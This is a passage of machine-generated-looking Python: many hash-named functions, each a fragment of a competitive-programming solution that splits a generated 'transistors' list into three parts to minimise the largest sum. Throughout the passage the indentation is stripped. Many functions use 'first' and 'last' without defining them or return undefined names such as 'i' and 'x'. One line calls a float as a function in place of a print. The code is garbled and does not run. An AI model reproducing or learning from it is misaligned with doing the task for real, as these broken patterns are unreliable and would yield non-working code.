transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return i
def func_adfc08e034c14d5cb9b6943eed5f02e5(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return last
def func_9216eb769a454f47a0ce6101415b5bdd(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return transistorsum
def func_6a26ede5a4ce4ef6afc8be0583d127be(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return lastsum
def func_fad41b6a91bf473ba643d0152304ceeb(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return last
def func_abe4256194694467a0993bc69809a784(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return firstsum
def func_80eee299c0b44c5eb3237eecdbc9b650(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return transistorsum
def func_c4f4695664c14b869de3b574c172dbe6(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return first
def func_26f8bca8155041dba88f4effff3112a8(transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_08959f6251844855b1c88511848c6417(transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return last
def func_6dee6d898270436d93f7606160507e24(transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_7fdc514e47fe4b45b28a1bae415c56a6(transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return first
def func_cf39f0606bfa439bad5eaf5635fdc3d4(transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_829e91e154464c39b293cd96dda86182(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_901d12aa77864e57893274fc46b81a69(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_bedaa4a412a44863814ae3d38cea42ef(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_37ef516fe389460f9c8c6fbfa80727ba(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_8db7497d1f8043528d54f27dc926036a(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_db2ecc3a71db4af1b67181ee070f8ba9(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_ed3dff0146a140258a49bd07525ead20(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_5faacae29e06442c86b9cb7cdf43d610(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_e84fb6de21e644f280c1761d61c0e386(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_956d8346f494440380a7068537966b07(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_d7f256328b7447dd83323e5a36124898(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_369e26419c48490990b4ee2ba44efb60(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_a8b53a35946a479cb050d246d398fa32(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_01f946f6084d4e179eb7c228e6f8b936(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_a9ec13a3de6340ebb3506b427e973e2d(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_c798733f0f344361b85b4b63217ed973(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_526a49a12d4b4104b2afccd253cf3562(transistors, transistorsum):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_1d3af85717ab4996a7f612ba30169f2a(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return answer
def func_75791cd49d8042e9a0c79e21a30068f8(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return minimax
def func_9048e60939f746efae1766ba9a8a4f6f(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return lastsum
def func_a52bae6fb496402ca302477a00065ebd(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return first
def func_416f650acba74ea4ac54ad72935c11f8(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_8baf4771b7204721a24bd8af06737d0d(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_f95a378625d0432283bc4c711f00145d(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextlastsum
def func_f76463cf9001452fab02260c53fd9593(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return currentmax
def func_40abf5846816441094603297735bbd79(transistors, transistorsum, testcase
):
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return last
def func_c945a455c2fe49e5a3a2c51b5a6cf874(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return s
def func_863ddc8114fd48e3b671e771d8657de4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return transistors
def func_3fda373528ed4e319de7fa6675a1958c(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return N
def func_a4ff2d69811a460c92f9790f8d755748(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return transistorsum
def func_a90177d7ded142429aabea9dea2923fc(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return first
def func_88c56105e95a43f6ae1b93fcb013b317(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return i
def func_ccd3aec8e2d84675ae486c7c505846c4(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return q
def func_e8a0e0c3dd17453b91c5574d2078f1bb(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return firstsum
def func_c59fac76cdac44b482cbe26a906712c1(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return r
def func_1d09785053024d13a2c6ce26640c6434(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return x
def func_091f70fbab084d6595c783f546353b85(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return last
def func_a89653737b7f4e569c2121cee02a5079(infile):
[N, p, q, r, s] = [int(x) for x in infile.readline().split()]
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
return p
def func_f663383ec64c4bec867a3b037ae10be2(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return first
def func_4b11a7f6821243be8831a7fd58280fe6(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return lastsum
def func_0708dedf4a904750bd27b30da05cd0b6(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return transistorsum
def func_f6839618800f4d2985392903792d71bc(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return i
def func_42c9830ed5e74ee1977384abd1c05f1a(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return transistors
def func_001dde38f91e42feae9f4563bc7c8917(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return firstsum
def func_505f06252e34418fa773b4b4c7fc4ac0(s, q, N, p, r):
transistors = [((i * p + q) % r + s) for i in range(N)]
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
return last
def func_d556afce83824abab897eedf34bd5fa1(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return lastsum
def func_145b4221c9f04d2481a1399e6acc9e06(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return firstsum
def func_867df46333b24d9abafd2de57661f8ba(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return minimax
def func_2201689a6d794442b0b0da4d520ad728(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return transistorsum
def func_08ac3ce8c43442b9812597b1f20725a9(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return last
def func_f269311a5d724548a0c7455e3cdb0f65(transistors, N):
transistorsum = sum(transistors)
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
return first
def func_2c423fbde4ab4e689421c40864f79630(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return first
def func_dcc527219629417e9c994e84cb2bd811(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return firstsum
def func_6de74de42eb144b4b8291ebb0a3ca157(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return lastsum
def func_fd65cb7f587a4cceae454b9bdd5d8363(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextfirstsum
def func_3cebe53dce314d208e988611bb2cfbfa(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return nextlastsum
def func_76e4279924b44de29e4d8483a24ae030(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return minimax
def func_27d6e74dc742451b918adca81cb0a1f0(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return last
def func_ed0635e005f049b19b1f100d7556319d(transistors, transistorsum, N):
first = 0
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
return currentmax
def func_5b3d090c5c5647ffb3efb96b7acda33c(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextfirstsum
def func_199844f9dbf14771a18b7586819064f0(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return first
def func_e7267b3d727146cfa68e7263aedffa6b(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return currentmax
def func_986be6a54b7b4f9998d8003991b09fdc(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return minimax
def func_47cd7e0c230148c4917da6fd701a0ecb(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return lastsum
def func_28944a76e008460ba8012d09454009b4(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return firstsum
def func_017e7cd16d1248b79a6d2380bcb6ee20(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return nextlastsum
def func_6ea8e128611a4406a40ced7724176aaa(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return last
def func_603ef9488a0b48558a531046665fa6b6(transistors, transistorsum, N):
last = N
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)
return answer
def func_f3a9173ea4414396bf3d7dcb57f97e83(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return nextfirstsum
def func_3f96cc7092b348c0bb00ef0bc05558fa(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
nextlastsum = lastsum + transistors[last - 1]
if nextfirstsum < nextlastsum:
firstsum += transistors[first]
first += 1
else:
last -= 1
lastsum += transistors[last]
currentmax = max([firstsum, lastsum, transistorsum - firstsum -
lastsum])
minimax = min(currentmax, minimax)
answer = float(transistorsum - minimax) / float(transistorsum)(
'Case #%d: %.10f' % (testcase + 1, answer))
return firstsum
def func_f2aa3b93705042da9a53f624855991e1(transistors, transistorsum, testcase
):
firstsum = 0
lastsum = 0
minimax = transistorsum
while last - first != 1:
nextfirstsum = firstsum + transistors[first]
